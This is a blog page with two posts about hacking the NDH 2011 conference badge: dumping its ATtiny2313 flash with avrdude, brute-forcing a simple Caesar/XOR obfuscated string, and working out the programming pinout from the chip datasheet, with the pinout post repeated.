$ sudo avrdude -c usbasp -p attiny2313 -t avrdude: warning: cannot set sck period. please check for usbasp firmware update. avrdude: AVR device initialized and ready to accept instructions Reading | ################################################## | 100% 0.01s avrdude: Device signature = 0x1e910a avrdude> dump flash 0 512 >>> dump flash 0 512 0000 12 c0 22 c0 21 c0 20 c0 1f c0 1e c0 1d c0 1c c0 |..".!. .........| 0010 1b c0 1a c0 19 c0 18 c0 17 c0 16 c0 15 c0 14 c0 |................| 0020 13 c0 12 c0 11 c0 11 24 1f be cf ed cd bf 10 e0 |.......$........| 0030 a0 e6 b0 e0 e8 e4 f1 e0 02 c0 05 90 0d 92 ac 38 |............ ..8| 0040 b1 07 d9 f7 3c d0 7e c0 db cf 18 ba 12 ba 98 b3 |....<.~.........| 0050 3a e2 38 27 43 2f 50 e0 30 fd 02 c0 80 e0 01 c0 |:.8'C/P.0.......| 0060 82 e0 89 2b 88 bb 28 b3 ca 01 96 95 87 95 81 70 |...+..(........p| 0070 82 2b 88 bb 92 b3 42 fd 02 c0 80 e0 01 c0 80 e4 |.+....B.........| 0080 89 2b 82 bb 92 b3 43 fd 02 c0 80 e0 01 c0 80 e2 |.+....C.........| 0090 89 2b 82 bb 82 b3 30 71 38 2b 32 bb 92 b3 45 fd |.+....0q8+2...E.| 00a0 02 c0 80 e0 01 c0 88 e0 89 2b 82 bb 92 b3 46 fd |.........+....F.| 00b0 02 c0 80 e0 01 c0 84 e0 89 2b 82 bb 08 95 cf 92 |.........+......| 00c0 df 92 ef 92 ff 92 1f 93 df 93 cf 93 cd b7 de b7 |................| 00d0 ab 97 0f b6 f8 94 de bf 0f be cd bf de 01 11 96 |................| 00e0 e0 e6 f0 e0 84 e1 01 90 0d 92 81 50 e1 f7 9b 81 |........ ..P....| 00f0 de 01 55 96 e4 e7 f0 e0 87 e1 01 90 0d 92 81 50 |..U......... ..P| 0100 e1 f7 8f ef 81 bb 87 bb 98 bb 90 e0 75 e1 c7 2e |............u...| 0110 d1 2c cc 0e dd 1e 68 ec e6 2e f1 2c 0a c0 95 df |.,....h...., ...| 0120 80 e9 91 e0 f7 01 31 97 f1 f7 01 97 d9 f7 91 2f |......1......../| 0130 9f 5f f6 01 e9 0f f1 1d 80 81 19 2f 90 e0 88 23 |._........./...#| 0140 c1 f3 ed cf f8 94 ff cf 4e 6f 74 68 69 6e 67 20 |........Nothing | 0150 74 68 65 72 65 20 4e 30 30 62 21 00 62 4f 46 46 |there N00b!.bOFF| 0160 45 0a 7d 45 58 46 4e 0a 4c 45 58 0a 64 6e 62 18 |E }EXFN LEX dnb.| 0170 61 1b 1b 00 ff ff ff ff ff ff ff ff ff ff ff ff |a...............| 0180 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 0190 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 01a0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 01b0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 01c0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 01d0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 01e0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| 01f0 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff |................| avrdude>
We don't see any "clear" interesting string for our purpose. Maybe it is obfuscated.
We are going to dump it to a file for backup purposes:
$ sudo avrdude -c usbasp -p attiny2313 -n -U flash:r:dump.hex:i -v
avrdude: Version 5.10, compiled on Jun 29 2010 at 21:09:48
Copyright (c) 2000-2005 Brian Dean, http://www.bdmicro.com/
Copyright (c) 2007-2009 Joerg Wunsch
System wide configuration file is "/etc/avrdude.conf"
User configuration file is "/home/m_101/.avrduderc"
User configuration file does not exist or is not a regular file, skipping
Using Port : /dev/parport0
Using Programmer : usbasp
AVR Part : ATtiny2313
Chip Erase delay : 9000 us
PAGEL : PD4
BS2 : PD6
RESET disposition : possible i/o
RETRY pulse : SCK
serial program mode : yes
parallel program mode : yes
Timeout : 200
StabDelay : 100
CmdexeDelay : 25
SyncLoops : 32
ByteDelay : 0
PollIndex : 3
PollValue : 0x53
Memory Detail :
Block Poll Page Polled
Memory Type Mode Delay Size Indx Paged Size Size #Pages MinW MaxW ReadBack
----------- ---- ----- ----- ---- ------ ------ ---- ------ ----- ----- ---------
eeprom 65 6 4 0 no 128 4 0 4000 4500 0xff 0xff
flash 65 6 32 0 yes 2048 32 64 4500 4500 0xff 0xff
signature 0 0 0 0 no 3 0 0 0 0 0x00 0x00
lock 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
lfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
hfuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
efuse 0 0 0 0 no 1 0 0 9000 9000 0x00 0x00
calibration 0 0 0 0 no 2 0 0 0 0 0x00 0x00
Programmer Type : usbasp
Description : USBasp, http://www.fischl.de/usbasp/
avrdude: auto set sck period (because given equals null)
avrdude: warning: cannot set sck period. please check for usbasp firmware update.
avrdude: AVR device initialized and ready to accept instructions
Reading | ################################################## | 100% 0.01s
avrdude: Device signature = 0x1e910a
avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: reading flash memory:
Reading | ################################################## | 100% 1.10s
avrdude: writing output file "dump.hex"
avrdude: safemode: lfuse reads as 64
avrdude: safemode: hfuse reads as DF
avrdude: safemode: efuse reads as FF
avrdude: safemode: Fuses OK
avrdude done. Thank you.Now we dumped the flash.
Getting the message
In the previous dumped firmware we could see the following strings:
- "Nothing there N00b!"
- "bOFFE }EXFN LEX dnb\x18a\x1b\x1b"
I wrote a quick hack to see if we got any "usual" obfuscation scheme such as caesar or XOR were used:
// @author : m_101
// @license : beerware
// @year : 2011
// @program : "Bruteforce" caesar and XOR
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
// caesar
char *caesar (char *str, const int len, const unsigned int key) {
int idxStr, rkey, c;
char *cryptext;
// allocate cryptext
cryptext = calloc(len, sizeof(*cryptext));
if (!cryptext)
return NULL;
//
rkey = key % 26;
for (idxStr = 0; idxStr < len; idxStr++) {
/*
if (!isalpha(str[idxStr])) {
free(cryptext);
return NULL;
}
//*/
c = toupper(str[idxStr]) + key;
/*
if (c > 'Z')
c -= 26;
else if (c < 'A')
c += 26;
//*/
cryptext[idxStr] = c;
}
return cryptext;
}
#define BUFSIZE 1024
void bf_caesar (char *str, const int len) {
int key;
char *cryptext;
//
char filename[1024];
FILE *fp = NULL;
if (!str || !len) {
printf("Bad string\n");
return;
}
if (strlen(str) != len) {
printf("Bad length\n");
return;
}
for (key = 1; key <= 255; key++) {
cryptext = caesar(str, len, key);
if (cryptext) {
// generate filename
snprintf(filename, BUFSIZE, "%s-%02d", "caesar", key);
// write to file
/*
fp = fopen(filename, "w");
if (fp) {
fwrite(cryptext, sizeof(*cryptext), len, fp);
fclose(fp);
}
//*/
// print to console
printf("%02d : %s\n\n", key, cryptext);
free(cryptext);
}
}
}
void bf_xor (char *str, const int len) {
int key;
int c;
int idxStr;
//
char filename[1024];
FILE *fp = NULL;
if (!str || !len) {
printf("Bad string\n");
return;
}
if (strlen(str) != len) {
printf("Bad length\n");
return;
}
for (key = 1; key <= 255; key++) {
printf("%02d : ", key);
// generate filename
snprintf(filename, BUFSIZE, "%s-%02d", "xor", key);
// fp = fopen(filename, "w");
for (idxStr = 0; idxStr < len; idxStr++) {
c = str[idxStr] ^ key;
putchar(c);
// write to file
/*
if (fp)
fwrite(&c, sizeof(*str), 1, fp);
//*/
}
putchar('\n');
if (fp)
fclose(fp);
}
}
int main (int argc, char *argv[]) {
if (argc < 2) {
printf("Usage: %s str\n", argv[0]);
return 1;
}
printf("Bruteforce Caesar:\n");
bf_caesar(argv[1], strlen(argv[1]));
printf("\nBruteforce XOR:\n");
bf_xor(argv[1], strlen(argv[1]));
return 0;
}As you could see, for caesar I did not bother to do a rotating scheme as usual but a stupid and simple shifting.
I managed to get 2 messages:
Hello\nWorld\nFor\nNDH hELLO*wORLD*FOR*ndhDone.
There was another way to get the message using a video camera to capture the leds sequence and decode it manually of using image processing techniques.
I did not want to do that so I did not do it ... have fun for the courageous ones ;).
You could also use IDA Pro (or any compatible disassembler) to reverse the ASM code from the dumped firmware. I did not want to spend too much time on it so I skipped it. If you want to do it, here is the documentation: AVR 8-bit Instruction Set
Next I will show you an example of programming the chip.
Cheers,
m_101
Resources:
- [NDH2K11] Badges hackable!
- NDH2K11's Badge: Spec. & hackz
- NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- Manual of avrdude
- AVR 8-bit Instruction Set
jeudi 30 juin 2011
[EN] NDH 2011 badge hacking part 1 : Pinout reversing
* UPDATED (6 July 2011) *:
- Fixed links (ATMEL documentation)
- Added section on full pinout
Hello!
Today we are going to do some "hardware" hacking (if we can call it like that ...). Yes, NDH badge hacking :D.
I do not have any real knowledge in electronics but it should be enough to pawn it.
The thing I am the most amazed with is that nobody wrote an article about it but the creator of the badge (tixlegeek) ...
Let's fix that!
The situation
First of all, I could not not find the pinout on Tix's Le Geek blog so I had to "reverse" it.
It is because I have the following programmer (a version of USBasp):
So the cable is a 2x5 pin ICSP AVR.
To plug it into a small socket:
To set up the clips, you need to use a flat-nosed plier like this:
For reversing the pinout you could also use wires and a breadboard (I don't have a breadboard ... or any electronic stuffs ^^"):
Don't forget your NDH badge!
In the end you should have all those:
Reversing the pinout
Ok for the pinout you could try to find VCC and GND first with a multimeter and then the other ports. As I do not have any electronic equipment I haven't tried that.
But here what was my idea with the wires :
Yeah, try to craft kind of a hook or something and plug the other part to a breadboard and test it.
luckily there is another way to find out about the pinout:
Yes just looking at the chip documentation you could find the pinout.
Anyway for the chip, looking close enough you could see its reference:
Done we have the pinout.
Just have to make the cable ;).
The pinout
Badge NDH
Port 2x5 ping AVR ICSP
Do the pinout and then we're in business :).
Full pinout
Just in case people might find this useful:
It is evident that you need to read the documentation to understand that table: the chip documentation.
Conclusion
With a bit of curiosity, it was possible to find out about the pinout fairly easily.
As I miscounted the AVR ICSP pinout ... my cable is not right, so the software part is going to be for another day ;).
Cheers,
m_101
Resources:
- [NDH2K11] Badges hackable!
- NDH2K11's Badge: Spec. & hackz
- NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- ATTiny2313 documentation
- Fixed links (ATMEL documentation)
- Added section on full pinout
Hello!
Today we are going to do some "hardware" hacking (if we can call it like that ...). Yes, NDH badge hacking :D.
I do not have any real knowledge in electronics but it should be enough to pawn it.
The thing I am the most amazed with is that nobody wrote an article about it but the creator of the badge (tixlegeek) ...
Let's fix that!
The situation
First of all, I could not not find the pinout on Tix's Le Geek blog so I had to "reverse" it.
It is because I have the following programmer (a version of USBasp):
So the cable is a 2x5 pin ICSP AVR.
We want to have something clean so we are going to use a BUS cable:
As well as small clips:
To set up the clips, you need to use a flat-nosed plier like this:
For reversing the pinout you could also use wires and a breadboard (I don't have a breadboard ... or any electronic stuffs ^^"):
Don't forget your NDH badge!
Reversing the pinout
Ok for the pinout you could try to find VCC and GND first with a multimeter and then the other ports. As I do not have any electronic equipment I haven't tried that.
But here what was my idea with the wires :
Yeah, try to craft kind of a hook or something and plug the other part to a breadboard and test it.
luckily there is another way to find out about the pinout:
Yes just looking at the chip documentation you could find the pinout.
Anyway for the chip, looking close enough you could see its reference:
ATMEL 1114 ATTINY2313V-10SU
Done we have the pinout.
Just have to make the cable ;).
The pinout
Badge NDH
------------------------------------------------- | | | | | | RST MOSI MISO SCK VCC GND
Port 2x5 ping AVR ICSP
1 3 5 7 9 --------------------------------------------------------- | MOSI | NC | RESET | SCK | MISO | --------------------------------------------------------- | VCC | GND | GND | GND | GND | --------------------------------------------------------- 2 4 6 8 10
Do the pinout and then we're in business :).
Full pinout
Just in case people might find this useful:
------------------------- | PORTD | ------------------------- | PIND0 | RX | | PIND1 | TX | | PIND2 | D4 | | PIND3 | D3 | | PIND4 | D2 | | PIND5 | D1 | | PIND6 | D5 | ------------------------- | PORTB | ------------------------- | PINB0 | D6 | | PINB1 | D7 | | PINB2 | NC | | PINB3 | NC | | PINB4 | NC | | PINB5 | MOSI | | PINB6 | MISO | | PINB7 | SCK | ------------------------- | PORTA | ------------------------- | PINA0 | NC | | PINA1 | NC | | PINA2 | RESET | -------------------------
It is evident that you need to read the documentation to understand that table: the chip documentation.
Conclusion
With a bit of curiosity, it was possible to find out about the pinout fairly easily.
As I miscounted the AVR ICSP pinout ... my cable is not right, so the software part is going to be for another day ;).
Cheers,
m_101
Resources:
- [NDH2K11] Badges hackable!
- NDH2K11's Badge: Spec. & hackz
- NDH2K11's Badge: PROGRAMMATIONNNNNN!!!!
- ATTiny2313 documentation
Inscription à :
Articles
(
Atom
)